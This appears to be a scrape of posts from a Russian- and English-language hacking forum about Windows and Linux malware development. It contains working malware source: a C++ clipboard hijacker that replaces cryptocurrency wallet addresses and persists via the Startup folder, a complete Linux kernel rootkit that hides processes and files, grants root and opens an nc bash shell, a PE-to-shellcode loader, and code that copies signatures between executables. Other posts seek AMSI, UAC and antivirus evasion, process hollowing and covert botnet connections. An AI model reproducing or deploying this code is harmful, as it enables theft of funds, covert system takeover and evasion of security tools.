Всем привет, я хукаю функции ShowWindow, что бы пользователь не видел окно при запуске процесса. Конечно я могу просто вызвать ShowWindow со своего процесcа, но это происходит не сразу, окно успевает появится, а потом оно исчезает. Короче запускаю я приложение, ставлю хук на ShowWindow, и вроде как работает, однако я начал тестить над другими приложениями, и тут было такое приложение, которое хер знает зачем перезапускается при старте. В итоге я теряю pid, и получается я сталю хук. на приложение которое в итоге закрывается, а тем временем окно создается в другом процессе. Я не знаю как правильно быть в такой ситуации. Если что заранее я не знаю будет процесс пораждать новый процесс или нет
Ядро Windows таит в себе большую силу. Но как заставить ее работать? Павел Йосифович поможет вам справиться с этой сложной задачей: пояснения и примеры кода превратят концепции и сложные сценарии в пошаговые инструкции, доступные даже начинающим.
В книге рассказывается о создании драйверов Windows. Однако речь идет не о работе с конкретным «железом», а о работе на уровне операционной системы (процессы, потоки, модули, реестр и многое другое).
Вы начнете с базовой информации о ядре и среде разработки драйверов, затем перейдете к API, узнаете, как создавать драйвера и клиентские приложения, освоите отладку, обработку запросов, прерываний и управление уведомлениями.
Hidden content for authorized users.
](https://anonfiles.com/17U2xdA2uc/_Windows_pdf)
anonfiles.com
Приветствую, Товарищи, как можно в свой код C++ добавить код Visual Basic (vba)??
Всем Привет
Интересует материал по Си , кто может подкинуть пару книг или видосов, я
только начал учить и сложно найти что то годное
Pls help!
Hidden content for authorized users.
C#:Copy to clipboard
namespace Sign
{
using System;
using System.IO;
public static class CertSigning
{
public static byte[] CopySign(string path, bool bool0)
{
using var fileStream = new FileStream(path, FileMode.Open);
fileStream.Seek(Convert.ToInt64(60), SeekOrigin.Begin);
byte[] array = new byte[4];
fileStream.Read(array, 0, 2);
int num = BitConverter.ToInt16(array, 0);
byte[] result;
fileStream.Seek(!bool0 ? Convert.ToInt64(num + 152) : Convert.ToInt64(num + 168), SeekOrigin.Begin);
fileStream.Read(array, 0, 4);
fileStream.Read(array, 0, 4);
int num2 = BitConverter.ToInt32(array, 0);
int value = BitConverter.ToInt32(array, 0);
fileStream.Seek(Convert.ToInt64(value), SeekOrigin.Begin);
byte[] array2 = new byte[num2 - 1 + 1 - 1 + 1];
fileStream.Read(array2, 0, num2);
result = array2;
return result;
}
private static void Save(string pathfile, int offset, int offsetX)
{
byte[] array = new byte[4];
using var fileStream = new FileStream(pathfile, FileMode.Open);
fileStream.Seek(Convert.ToInt64(60), SeekOrigin.Begin);
fileStream.Read(array, 0, 2);
int num2 = BitConverter.ToInt16(array, 0);
fileStream.Seek(Convert.ToInt64(num2 + 152), SeekOrigin.Begin); // Convert.ToInt64(num2 + 160)
fileStream.Write(BitConverter.GetBytes(offsetX), 0, 4);
fileStream.Write(BitConverter.GetBytes(offset), 0, 4);
fileStream.Flush();
}
public static void WriteSign(string savefile, string sertfile)
{
try
{
using FileStream fileStream = File.OpenRead(sertfile);
byte[] array = new byte[Convert.ToInt32(fileStream.Length - Convert.ToInt64(1)) + 1 - 1 + 1];
fileStream.Read(array, 0, Convert.ToInt32(fileStream.Length));
using FileStream fileStream2 = File.OpenRead(savefile);
byte[] array2 = new byte[Convert.ToInt32(fileStream2.Length - Convert.ToInt64(1)) + 1 - 1 + 1];
fileStream2.Read(array2, 0, Convert.ToInt32(fileStream2.Length));
int num = Convert.ToInt32(array2.Length) + Convert.ToInt32(array.Length);
var finalepath = savefile.Replace(".exe", "_signed.exe");
using (var memoryStream = new MemoryStream(new byte[num - 1 + 1 - 1 + 1], 0, num, true, true))
{
memoryStream.Write(array2, 0, Convert.ToInt32(array2.Length));
memoryStream.Write(array, 0, Convert.ToInt32(array.Length));
byte[] buffer = memoryStream.GetBuffer();
try
{
File.WriteAllBytes(finalepath, buffer);
}
catch { }
}
Save(finalepath, Convert.ToInt32(array.Length), Convert.ToInt32(array2.Length));
}
catch { }
}
}
}
Используется так:
C#:Copy to clipboard
CertSigning.WriteSign(this.PathToFileBox.Text, this.PathToSertBox.Text);
// PathToFileBox - Текстбокс где будет полный путь к файлу .exe
// PathToSertBox - Текстбокс где будет полный путь к файлу .sig ( сертификат )
шапка.
С CodeDom работать умею, но он меня не устраивает, тк там .NET 2.0-4.0
поддерживается.
Пытался сам разобраться с dnlib(изменение параметров на свои) как в CodeDom, и
не выходит
Подскажите как это можно сделать? или подкиньте исходник. Буду очень сильно
благодарен =)
You must have at least 15 reaction(s) to view the content.
Hello! I created these days a cryptostealer in C++ and made it to add itself
to startup but there are a few more things that I need to do and I am asking
for your help:
1. Is it possible to make it hidden in startup folder? I tried with
SetFileAttributesA("\"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\cryptostealer.exe\"", FILE_ATTRIBUTE_HIDDEN);
but
didn't work.
2. Is it possible to make it work without Visual C++ Redistributables?
3. If you find more regex patterns please post them so I can add to the
source.
Thanks!
C++:Copy to clipboard
#include <iostream>
#include <Windows.h>
#include <regex>
#include <string>
#include <algorithm>
#include <wchar.h>
#include <KnownFolders.h>
#include <setupapi.h>
#include <tchar.h>
#include <devpkey.h>
#include <fstream>
using namespace std;
HANDLE clip;
string clipboard = "";
string bitcoin = "bitcoin address";
string litecoin = "litecoin address";
string monero = "monero address";
string ethereum = "ethereum address";
regex bitpat{ "^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}$" };
regex litpat{ "^[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}$" };
regex monpat{ "^4([0-9]|[A-B])(.){93}" };
regex ethpat{ "^0x[a-fA-F0-9]{40}$" };
const char* copy1 = "echo F | xcopy /S /Q /Y /F \"cryptostealer.exe\" \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\"";
int main()
{
HWND hWnd = GetConsoleWindow();
ShowWindow(hWnd, SW_HIDE);
system(copy1);
while (true)
{
if (OpenClipboard(NULL))
{
clip = GetClipboardData(CF_TEXT);
clipboard = (char*)GetClipboardData(CF_TEXT);
CloseClipboard();
bool bitmatch = regex_search(clipboard, bitpat);
if (bitmatch)
{
const char* output = bitcoin.c_str();
const size_t len = strlen(output) + 1;
HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len);
memcpy(GlobalLock(hMem), output, len);
GlobalUnlock(hMem);
OpenClipboard(0);
EmptyClipboard();
SetClipboardData(CF_TEXT, hMem);
CloseClipboard();
}
bool litmatch = regex_search(clipboard, litpat);
if (litmatch)
{
const char* output = litecoin.c_str();
const size_t len = strlen(output) + 1;
HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len);
memcpy(GlobalLock(hMem), output, len);
GlobalUnlock(hMem);
OpenClipboard(0);
EmptyClipboard();
SetClipboardData(CF_TEXT, hMem);
CloseClipboard();
}
bool monmatch = regex_search(clipboard, monpat);
if (monmatch)
{
const char* output = monero.c_str();
const size_t len = strlen(output) + 1;
HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len);
memcpy(GlobalLock(hMem), output, len);
GlobalUnlock(hMem);
OpenClipboard(0);
EmptyClipboard();
SetClipboardData(CF_TEXT, hMem);
CloseClipboard();
}
bool ethmatch = regex_search(clipboard, ethpat);
if (ethmatch)
{
const char* output = ethereum.c_str();
const size_t len = strlen(output) + 1;
HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len);
memcpy(GlobalLock(hMem), output, len);
GlobalUnlock(hMem);
OpenClipboard(0);
EmptyClipboard();
SetClipboardData(CF_TEXT, hMem);
CloseClipboard();
}
}
Sleep(500);
}
return 0;
}
Сабж. Как чекнуть скрипт байпаса амси в пш?
Типа патчим амси, после "Invoke-Mimikatz" для теста и чекаем на то, что есть ли патч или нет
Hey. I have a question. How can I get the startup folder in C++ as a LPCWSTR?
C:Copy to clipboard
int copy_file( LPCWSTR oldfile, LPCWSTR newfile )
{
NTSTATUS status;
HANDLE hOldFile, hNewFile;
UNICODE_STRING OldFileName;
UNICODE_STRING NewFileName;
IO_STATUS_BLOCK ioStatusBlockOld;
IO_STATUS_BLOCK ioStatusBlockNew;
OBJECT_ATTRIBUTES objAttribsOld;
OBJECT_ATTRIBUTES objAttribsNew;
FILE_STANDARD_INFORMATION FileInfo;
ULONG FileLength;
BYTE* FileBuffer;
LARGE_INTEGER FileOffset;
NTLIB32.RtlInitUnicodeString(&OldFileName, oldfile);
InitializeObjectAttributes(&objAttribsOld, &OldFileName, OBJ_CASE_INSENSITIVE, NULL, NULL);
NTLIB32.NtOpenFile(&hOldFile,
GENERIC_READ | SYNCHRONIZE,
&objAttribsOld,
&ioStatusBlockOld,
FILE_SHARE_READ,
FILE_SYNCHRONOUS_IO_NONALERT | FILE_NON_DIRECTORY_FILE);
NTLIB32.NtQueryInformationFile(hOldFile,
&ioStatusBlockOld,
&FileInfo,
sizeof(FILE_STANDARD_INFORMATION),
FileStandardInformation);
FileLength = FileInfo.EndOfFile.u.LowPart;
FileBuffer = (BYTE*)malloc(FileLength + 1);
FileOffset.QuadPart = 0ULL;
status = NTLIB32.NtReadFile(hOldFile,
NULL,
NULL,
NULL,
&ioStatusBlockOld,
FileBuffer,
FileLength,
&FileOffset,
NULL);
FileBuffer[FileLength] = 0;
NTLIB32.NtClose(hOldFile);
NTLIB32.RtlInitUnicodeString(&NewFileName, newfile);
InitializeObjectAttributes(&objAttribsNew, &NewFileName, OBJ_CASE_INSENSITIVE, NULL, NULL);
status = NTLIB32.NtCreateFile(&hNewFile,
GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE,
&objAttribsNew,
&ioStatusBlockNew,
NULL,
FILE_ATTRIBUTE_NORMAL,
FILE_SHARE_READ,
FILE_CREATE,
FILE_WRITE_THROUGH | FILE_SYNCHRONOUS_IO_NONALERT,
NULL,
0);
status = NTLIB32.NtWriteFile(
hNewFile,
NULL,
NULL,
NULL,
&ioStatusBlockNew,
FileBuffer,
FileLength+1,
NULL,
NULL);
NTLIB32.NtClose(hNewFile);
return 0;
}
Здравствуйте, у меня ботнет - приходится запускать тор.ехе чтобы через тор
коннектится, а мне хочется более легковесный вариант, чтобы вшить коннект к
админке прямо в билде - чтобы не был виден тор процесс.
У кого есть может? Готов купить
Hello,
I hope it is fine to write this in English. Please let me know a translation is required.
Im using a modified version of [this code](https://github.com/d-ovs/RunPE- Fixed-/blob/master/RunPE32_From_Memory.cpp) for injecting another PE file into the address space of the current executable. The code in this example and my modified version seems to work fine on all Windows version, but when I add the [fodhelper.exe UAC bypass](https://pentestlab.blog/2017/06/07/uac-bypass- fodhelper/) to the injector before running the code injection, it fails in a weird way:
After the injection is finished, the console window of the injected application (a C++ console application) shows up, but instead of carrying on with the execution, I receive a bunch of error messages stating "The code execution cannot proceed because [some garbage characters].dll was not found". One time so far the error message did not print garbage characters as file name but "vector constructor iterator'". After searching this specific string on the web, I found out that this has something to do with Visual C++ compiler generated functions.
I dont really understand whats going on here. Is the problem caused by the UAC bypass in some way or is it just coincidence that it only fails when the injector was launched by fodhelper.exe?
Any explanation or assumption is appreciated.
Привет. Подскажите, каким образом отправлять куки в запросе?
Имею txt файл с нетскейп куками , их надо превратить в JSON(а может и нет)
Отправить в запросе на сайт для авторизации
Далее спарсить страницу и достать из нее элемент
Грубо говоря простейший чекер. На Питоне понятно, а на шарпе нет.
Пробовал Leaf xNet библиотеку не хочет и все, Так же в расход пошли методы
HttpWebRequest, HttpRequest, там же был Selenium(чисто для теста).
Ни JSON , ни нетскейп ,файлом есть не хочет , в ручную добавляю - не нравится.
Буду искренне благодарен за помощь. Спасибо!
В общем-то захотелось попробовать написать какой-нибудь простой шеллкод на го.
Понятное дело, компилятор го не даст нам этого сделать. Но компилятор имеет
собирать PE/PE+ бинари, почему бы нам просто не запустить PE файл из шеллкода?
Вот тут есть реализации аналогичных проектов:
](https://github.com/hasherezade/pe_to_shellcode)
Converts PE into a shellcode. Contribute to hasherezade/pe_to_shellcode development by creating an account on GitHub.
github.com
shellcode. ](https://github.com/Ly0k0/PE2Shellcode)
A gadget for converting PE files to shellcode. Contribute to Ly0k0/PE2Shellcode development by creating an account on GitHub.
github.com
Подсмотрел кое-что там, и написал свой шеллкод лоадера PE, вес чуть больше 1
КБ.
Общая структура шеллкода на выходе |шеллкод PE-лоадера (1062
байта)|сигнатура+заголовок (36 байт)|байты самого PE (без заголовков)|, где:
- Сигнатура - простой набор байт: BYTE sign[] = { 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55 };
. В дальнейшем нам поможет отыскать заголовок.
- Заголовок - подобие NT-заголовка на минималках:
C:Copy to clipboard
struct ShellHead
{
DWORD peSize; // размер PE
DWORD offsetSection; // смещение до заголовка секций
DWORD numberOfSection; // кол-во секций
DWORD offsetRelocation; // смещение директории релоков
DWORD imageBase; // адрес, по которому нужно загрузить PE (не используется)
DWORD offsetImportTable; // смещение директории импорта
DWORD entryPoint; // смещение до мейн-функции
};
Как всё это формируется я думаю вы уже поняли, давайте перейдём к самому шелл-
коду.
Для начала нам нужно спарсить наш кастомный заголовок. Он хранится после нашей
сигнатуры. Нам нужно узнать где по какому адресу мы сейчас сидим, отыскать
заголовок:
C:Copy to clipboard
DWORD_PTR GetShellHead(ShellHead** head)
{
DWORD_PTR currAddr = NULL;
_asm
{
call fun;
fun:
pop eax; // вытаскиваем адрес, который был помещён в регистр eax интструкцией выше (call)
mov currAddr, eax;
}
// от этого адреса начинаем искать нашу сигнатуру, после неё уже идёт сам заголовок
BYTE sign[] = { 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55 };
while (currAddr++)
{
if (MemCmp((LPVOID)currAddr, sign, 8) == 0)
{
currAddr += 8;
break;
}
}
*head = (ShellHead*)currAddr;
currAddr += sizeof(ShellHead);
return currAddr;
}
Так же ищем адреса нужных нам winapi (LoadLibraryA, GetProcAddres,
VirtualAlloc), выделяем исполняемую память под PE.
Копируем секции в выделенную память:
C:Copy to clipboard
void CopySections(Shell shell)
{
PIMAGE_SECTION_HEADER sections = (PIMAGE_SECTION_HEADER)(shell.data + shell.head->offsetSection);
for (WORD i = 0; i < shell.head->numberOfSection; i++)
{
if (sections->SizeOfRawData)
MemCopy((PVOID)((DWORD_PTR)shell.peMem + sections->VirtualAddress), (PVOID)((DWORD_PTR)shell.data + sections->PointerToRawData), sections->SizeOfRawData);
sections++;
}
}
Обрабатываем релоки:
C:Copy to clipboard
void ProcessRelocs(Shell shell)
{
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)shell.peMem;
PIMAGE_BASE_RELOCATION baseRelocs = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)shell.peMem + shell.head->offsetRelocation);
if ((PDWORD_PTR)baseRelocs == (PDWORD_PTR)dos)
return;
while ((baseRelocs->VirtualAddress + baseRelocs->SizeOfBlock) != 0)
{
WORD* pLocData = (WORD*)((PBYTE)baseRelocs + sizeof(IMAGE_BASE_RELOCATION));
int numberOfReloc = (baseRelocs->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
for (int i = 0; i < numberOfReloc; i++)
{
if ((DWORD)(pLocData[i] & 0xf000) == 0x3000)
{
PDWORD_PTR pAddress = (PDWORD_PTR)((DWORD_PTR)dos + baseRelocs->VirtualAddress + ((DWORD)pLocData[i] & 0x0fff));
DWORD dwDelta = (DWORD)dos - shell.head->imageBase;
*pAddress += dwDelta;
}
}
baseRelocs = (PIMAGE_BASE_RELOCATION)((PBYTE)baseRelocs + baseRelocs->SizeOfBlock);
}
}
Обрабатываем импорт:
C:Copy to clipboard
void ProcessImport(Shell shell)
{
PIMAGE_IMPORT_DESCRIPTOR pImportTable = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD_PTR)shell.peMem + shell.head->offsetImportTable);
char* lpDllName = NULL;
HMODULE hDll = NULL;
PIMAGE_THUNK_DATA lpImportNameArray = NULL;
PIMAGE_IMPORT_BY_NAME lpImportByName = NULL;
PIMAGE_THUNK_DATA lpImportFuncAddrArray = NULL;
FARPROC lpFuncAddress = NULL;
DWORD i = 0;
while (TRUE)
{
if (pImportTable->OriginalFirstThunk == 0)
break;
lpDllName = (char*)((DWORD)shell.peMem + pImportTable->Name);
hDll = shell.loadLibraryA(lpDllName);
if (hDll == NULL)
{
pImportTable++;
continue;
}
i = 0;
lpImportNameArray = (PIMAGE_THUNK_DATA)((DWORD_PTR)shell.peMem + pImportTable->OriginalFirstThunk);
lpImportFuncAddrArray = (PIMAGE_THUNK_DATA)((DWORD_PTR)shell.peMem + pImportTable->FirstThunk);
while (TRUE)
{
if (lpImportNameArray[i].u1.AddressOfData == 0)
break;
lpImportByName = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)shell.peMem + lpImportNameArray[i].u1.AddressOfData);
if (0x80000000 & lpImportNameArray[i].u1.Ordinal)
{
lpFuncAddress = shell.getProcAddress(hDll, (LPCSTR)(lpImportNameArray[i].u1.Ordinal & 0x0000FFFF));
}
else
{
lpFuncAddress = shell.getProcAddress(hDll, (LPCSTR)lpImportByName->Name);
}
lpImportFuncAddrArray[i].u1.Function = (DWORD)lpFuncAddress;
i++;
}
pImportTable++;
}
}
Ну и запускаем:
C:Copy to clipboard
void Execute(Shell shell)
{
PDWORD_PTR main = (PDWORD_PTR)((DWORD_PTR)shell.peMem + (DWORD_PTR)shell.head->entryPoint);
((void(*)(void))main)();
}
Ну, собственно и всё.
Так же набросал простой консольный интерфейс:
pe2shellcode.exe MsgBox_go.exe -t
, где:
- MsgBox_go.exe - x86 PE файл. В моём случае просто месседж бокс на го.
- -t - запустить шеллкод после сохранения в файл.
На выходе получаем 2 файла: pe_shell.bin - сам шеллкод, pe_shell.h - шеллкод в
виде массива байт.
Все исходники в аттаче.
Hopefully someone finds this useful despite the ancient kenel version targeted. Updating the code to target a newer kernel should not be too much hassle.
C:Copy to clipboard
#/* 2021-03-08
# * r00t linux rootkit targeting kernel 2.6.32-5-xen-amd64 x86_64.
# * and yes, not my problem that folks don't update their boxes.
# *
# * Features
# * - hide kernel modules, processes, files
# * - netfilter backdoor to run nc root shell
# * - this file is a (ba)sh/(gnu)make polyglot
# *
# * Issues
# * - /proc/r00t entry is hidden by hide_processes, not hide_module
# * - netfilter hook does not seem to work on some systems (no oopses though)
# *
# * Usage: READ THE FUCKING SOURCE, gtf0 scriptkiddiez....
# \
make -f $0 ARGV0=$0 $@; exit
# Makefile
obj-m = r00t.o
UNAME_R?=$(shell uname -r)
all: r00t.ko
r00t.ko: Makefile r00t.c
make -C /lib/modules/$(UNAME_R)/build M=$(PWD) modules
strip -d r00t.ko
clean: Makefile r00t.c
make -C /lib/modules/$(UNAME_R)/build M=$(PWD) clean
install: r00t.ko
insmod r00t.ko
# elifekaM
ARGV0 ?= $(lastword $(MAKEFILE_LIST))
Makefile: $(ARGV0)
sed -n '/^# Makefile/,/^# elifekaM/p' $< > $@
r00t.c: $(ARGV0)
mv $< $@
define slurp #*/
#include <linux/init.h>
#include <linux/ip.h>
#include <linux/kernel.h>
#include <linux/kobject.h>
#include <linux/module.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/pagemap.h>
#include <linux/skbuff.h>
#include <linux/sysfs.h>
#include <linux/tcp.h>
/*
* Default configuration, i.e., what to hide when the rootkit is loaded.
*/
static int module_hidden = 1;
static int processes_hidden = 1;
static int nf_backdoored = 0;
static int files_hidden = 0;
/*
* Write-protect cannot be disabled with CR0 in some environments (e.g. Xen).
*/
static void set_addr_rw(void *addr)
{
unsigned int level;
pte_t *pte = lookup_address((unsigned long)addr, &level);
if (pte->pte & ~_PAGE_RW) pte->pte |= _PAGE_RW;
}
static void set_addr_ro(void *addr)
{
unsigned int level;
pte_t *pte = lookup_address((unsigned long)addr, &level);
pte->pte = pte->pte & ~_PAGE_RW;
}
void run_nc(u16 port)
{
char buf[32];
char *argv[] = {
"/bin/nc", "-c", "/bin/bash", "-l", "-w120", "-p%hu",
NULL
};
char *envp[] = {
"HOME=/", "TERM=linux", "PATH=/sbin:/usr/sbin:/bin:/usr/bin",
"R00T=HIDE",
NULL
};
sprintf(buf, "-p%hu", port);
argv[5] = &buf[0];
call_usermodehelper(argv[0], argv, envp, UMH_NO_WAIT);
}
unsigned int nf_hook_func(unsigned int hooknum, struct sk_buff *skb,
const struct net_device *in, const struct net_device *out,
int (*okfn)(struct sk_buff *))
{
static unsigned short last = 0;
struct iphdr *ip;
if (skb && (ip = ip_hdr(skb))->protocol == IPPROTO_TCP
&& (ip->ihl << 2) == sizeof(struct iphdr)) {
struct tcphdr *tcp;
unsigned short dest;
tcp = (struct tcphdr *)(skb->data + (ip->ihl << 2));
if (be16_to_cpu(tcp->source) == 666
&& (dest = be16_to_cpu(tcp->dest)) != last) {
switch (dest) {
case 1597: case 2584: case 4181: case 6765:
case 10946: case 17711: case 28657: case 46368:
run_nc((last = dest));
return NF_DROP;
default: break;
}
}
}
return NF_ACCEPT;
}
static struct nf_hook_ops nf_hook_ops;
int install_nf_backdoor(void)
{
nf_hook_ops.hook = &nf_hook_func;
nf_hook_ops.hooknum = NF_INET_PRE_ROUTING;
nf_hook_ops.pf = PF_INET;
nf_hook_ops.priority = NF_IP_PRI_FIRST;
return nf_register_hook(&nf_hook_ops);
}
void uninstall_nf_backdoor(void)
{
nf_unregister_hook(&nf_hook_ops);
}
/*
* Since proc_root etc. may not be exported in the target system.
*/
struct file_operations *get_fops(const char *path)
{
struct file *filp;
struct file_operations *fops;
filp = filp_open(path, O_RDONLY, 0);
if (!filp) return NULL;
fops = (struct file_operations *)filp->f_op;
filp_close(filp, NULL);
return fops;
}
static int (*proc_readdir_orig) (struct file *, void *, filldir_t) = NULL;
static filldir_t proc_filldir_orig;
int r00t_proc_filldir(void *buf, const char *name, int namlen, loff_t offset,
u64 ino, unsigned int d_type)
{
const char *p;
pid_t pid;
int hide;
if (!strcmp(name, "r00t"))
return 0;
/*
* If this is a PID entry, hide the process if it has R00T=HIDE set
* in the environment.
*/
hide = 0;
for (p = name; *p >= '0' && *p <= '9'; p++);
if (*p == '\0' && p != name && sscanf(name, "%d", &pid)) {
struct task_struct *tsk;
struct mm_struct *mm;
struct vm_area_struct *vma;
size_t len;
struct page *page;
char *maddr;
int offset, i;
/* Should we use get_task_mm? At least lock the fucking tsk.. */
tsk = pid_task(find_vpid(pid), PIDTYPE_PID);
if (!tsk || !(mm = tsk->mm)
|| !atomic_inc_not_zero(&mm->mm_users))
goto finish;
down_read(&mm->mmap_sem);
if (get_user_pages(tsk, mm, mm->env_start, 1, 0, 1,
&page, &vma) <= 0)
goto put;
i = 0;
maddr = (char *)kmap(page);
len = mm->env_end - mm->env_start;
offset = mm->env_start & (PAGE_SIZE-1);
while (i <= len-10) {
if (!strcmp(&maddr[offset+i], "R00T=HIDE")) {
hide = 1;
break;
}
/* i += strlen(&maddr[offset+i]) + 1; */
while (maddr[offset+i++] && i <= len-10);
}
kunmap(page);
page_cache_release(page);
put: up_read(&mm->mmap_sem);
mmput(mm);
}
finish:
if (hide)
return 0;
return proc_filldir_orig(buf, name, namlen, offset, ino, d_type);
}
int r00t_proc_readdir(struct file *fp, void *buf , filldir_t fdir)
{
proc_filldir_orig = fdir;
return proc_readdir_orig(fp, buf, r00t_proc_filldir);
}
static int hide_processes(void)
{
struct file_operations *proc_fops;
if ((proc_fops = get_fops("/proc"))) {
set_addr_rw(&proc_fops->readdir);
proc_readdir_orig = proc_fops->readdir;
proc_fops->readdir = r00t_proc_readdir;
set_addr_ro(&proc_fops->readdir);
return 0;
}
return -1;
}
static void show_processes(void)
{
if (proc_readdir_orig) {
struct file_operations *proc_fops = get_fops("/proc");
set_addr_rw(&proc_fops->readdir);
proc_fops->readdir = proc_readdir_orig;
set_addr_ro(&proc_fops->readdir);
}
}
static struct list_head *module_prev;
/*
* Hide module's sysfs directory entry.
*/
static int (*sysfs_readdir_orig) (struct file *, void *, filldir_t) = NULL;
static filldir_t sysfs_filldir_orig;
int r00t_sysfs_filldir(void *buf, const char *name, int namlen, loff_t offset,
u64 ino, unsigned int d_type)
{
if (!strcmp(name, "r00t"))
return 0;
return sysfs_filldir_orig(buf, name, namlen, offset, ino, d_type);
}
int r00t_sysfs_readdir(struct file *fp, void *buf , filldir_t fdir)
{
sysfs_filldir_orig = fdir;
return sysfs_readdir_orig(fp, buf, r00t_sysfs_filldir);
}
static int hide_module(void)
{
struct file_operations *sysfs_fops;
if ((sysfs_fops = get_fops("/sys"))) {
struct module *mod = &__this_module;
module_prev = mod->list.prev;
list_del(&mod->list);
set_addr_rw(&sysfs_fops->readdir);
sysfs_readdir_orig = sysfs_fops->readdir;
sysfs_fops->readdir = r00t_sysfs_readdir;
set_addr_ro(&sysfs_fops->readdir);
return 0;
}
return -1;
}
static void show_module(void)
{
struct module *mod = &__this_module;
list_add(&mod->list, module_prev);
if (sysfs_readdir_orig) {
struct file_operations *sysfs_fops = get_fops("/sys");
set_addr_rw(&sysfs_fops->readdir);
sysfs_fops->readdir = sysfs_readdir_orig;
set_addr_ro(&sysfs_fops->readdir);
}
}
static int (*rootfs_readdir_orig) (struct file *, void *, filldir_t) = NULL;
static filldir_t rootfs_filldir_orig;
int r00t_rootfs_filldir(void *buf, const char *name, int namlen, loff_t offset,
u64 ino, unsigned int d_type)
{
if (!strncmp(name, ".r00t_", 6))
return 0;
return rootfs_filldir_orig(buf, name, namlen, offset, ino, d_type);
}
int r00t_rootfs_readdir(struct file *fp, void *buf, filldir_t fdir)
{
rootfs_filldir_orig = fdir;
return rootfs_readdir_orig(fp, buf, r00t_rootfs_filldir);
}
static int hide_files(void)
{
struct file_operations *rootfs_fops;
if ((rootfs_fops = get_fops("/"))) {
set_addr_rw(&rootfs_fops->readdir);
rootfs_readdir_orig = rootfs_fops->readdir;
rootfs_fops->readdir = r00t_rootfs_readdir;
set_addr_ro(&rootfs_fops->readdir);
return 0;
}
return -1;
}
static void show_files(void)
{
if (rootfs_readdir_orig) {
struct file_operations *rootfs_fops = get_fops("/");
set_addr_rw(&rootfs_fops->readdir);
rootfs_fops->readdir = rootfs_readdir_orig;
set_addr_ro(&rootfs_fops->readdir);
}
}
struct proc_dir_entry *r00t_pde;
void r00t_command(const char *cmd)
{
/*printk(KERN_INFO "handle command: %s", cmd);*/
if (!strcmp(cmd, "r00t_me")) {
struct cred *credentials = prepare_creds();
credentials->uid = credentials->euid = 0;
credentials->gid = credentials->egid = 0;
commit_creds(credentials);
} else if (!module_hidden && !strcmp(cmd, "hide_module")) {
module_hidden = !hide_module();
} else if (module_hidden && !strcmp(cmd, "show_module")) {
show_module();
module_hidden = 0;
} else if (!processes_hidden && !strcmp(cmd, "hide_processes")) {
processes_hidden = !hide_processes();
} else if (processes_hidden && !strcmp(cmd, "show_processes")) {
show_processes();
processes_hidden = 0;
} else if (!nf_backdoored && !strcmp(cmd, "install_nf_backdoor")) {
nf_backdoored = !install_nf_backdoor();
} else if (nf_backdoored && !strcmp(cmd, "uninstall_nf_backdoor")) {
uninstall_nf_backdoor();
nf_backdoored = 0;
} else if (!files_hidden && !strcmp(cmd, "hide_files")) {
files_hidden = !hide_files();
} else if (files_hidden && !strcmp(cmd, "show_files")) {
show_files();
files_hidden = 0;
}
}
#define R00T_MAX_CMD_LEN 32
static int r00t_write_proc(struct file *file, const char __user *buf,
unsigned long len, void *data)
{
static char cmd_buf[2*R00T_MAX_CMD_LEN];
static int end = 0;
static int ignore = 0;
unsigned long len0 = len;
while (len > 0) {
int i, ncopy;
ncopy = (len > R00T_MAX_CMD_LEN) ? R00T_MAX_CMD_LEN : len;
if (copy_from_user(&cmd_buf[end], buf, ncopy))
break;
i = end;
end += ncopy;
buf += ncopy;
len -= ncopy;
while (i < end) {
if (cmd_buf[i++] != '\n')
continue;
if (!ignore && i <= R00T_MAX_CMD_LEN) {
cmd_buf[i-1] = 0;
r00t_command(cmd_buf);
} else {
ignore = 0;
}
memmove(cmd_buf, &cmd_buf[i], (end = end - i));
i = 0;
}
if (end > R00T_MAX_CMD_LEN) {
ignore = 1;
end = 0;
}
}
return (len < len0) ? len0 - len : -1 /* Nothing written */;
}
int r00t_read_proc(char *page, char **start, off_t off, int count,
int *eof, void *data)
{
if (off > 0) {
*eof = 1;
return 0;
}
return sprintf(page, "r00t: 1\n"
"module_hidden: %d\n"
"processes_hidden: %d\n"
"nf_backdoored: %d\n"
"files_hidden: %d\n",
module_hidden, processes_hidden,
nf_backdoored, files_hidden);
}
static int __init r00t_init(void)
{
/*printk(KERN_INFO "loading r00t!\n");*/
/* Create /proc/r00t */
r00t_pde = create_proc_entry("r00t", 0666, NULL);
if (!r00t_pde) {
/*printk(KERN_INFO "cannot create /proc/r00t");*/
return -1;
}
r00t_pde->read_proc = r00t_read_proc;
r00t_pde->write_proc = r00t_write_proc;
if (module_hidden)
module_hidden = !hide_module();
if (processes_hidden)
processes_hidden = !hide_processes();
if (nf_backdoored)
nf_backdoored = !install_nf_backdoor();
if (files_hidden)
files_hidden = !hide_files();
return 0;
}
static void __exit r00t_cleanup(void)
{
/*printk(KERN_INFO "cleaning up r00t\n");*/
if (module_hidden)
show_module();
if (processes_hidden)
show_processes();
if (nf_backdoored)
uninstall_nf_backdoor();
if (files_hidden)
show_files();
remove_proc_entry("r00t", NULL);
}
module_init(r00t_init);
module_exit(r00t_cleanup);
MODULE_LICENSE("GPL");
/*
MODULE_AUTHOR("def <def@huumeet.info>");
MODULE_DESCRIPTION("r00t linux kernel rootkit");
endef # define slurp */
Нужно запустить EXE файл в памяти другого процесса, для Windows, желательно
для обоих x86/x64 архитектур.
Для x86 архитектуры нашел хорошее решение -
Zer0Mem0ry/RunPE
Адаптировать для x64 архитектуры не удалось.
Пытался писать адреса EntryPoint и ImageBase в регистры RCX и RDX
соответственно, как и принимают аргументы RtlUserThreadStart, но все оказалось
безуспешно.
А так же вопрос, палится ли библиотека
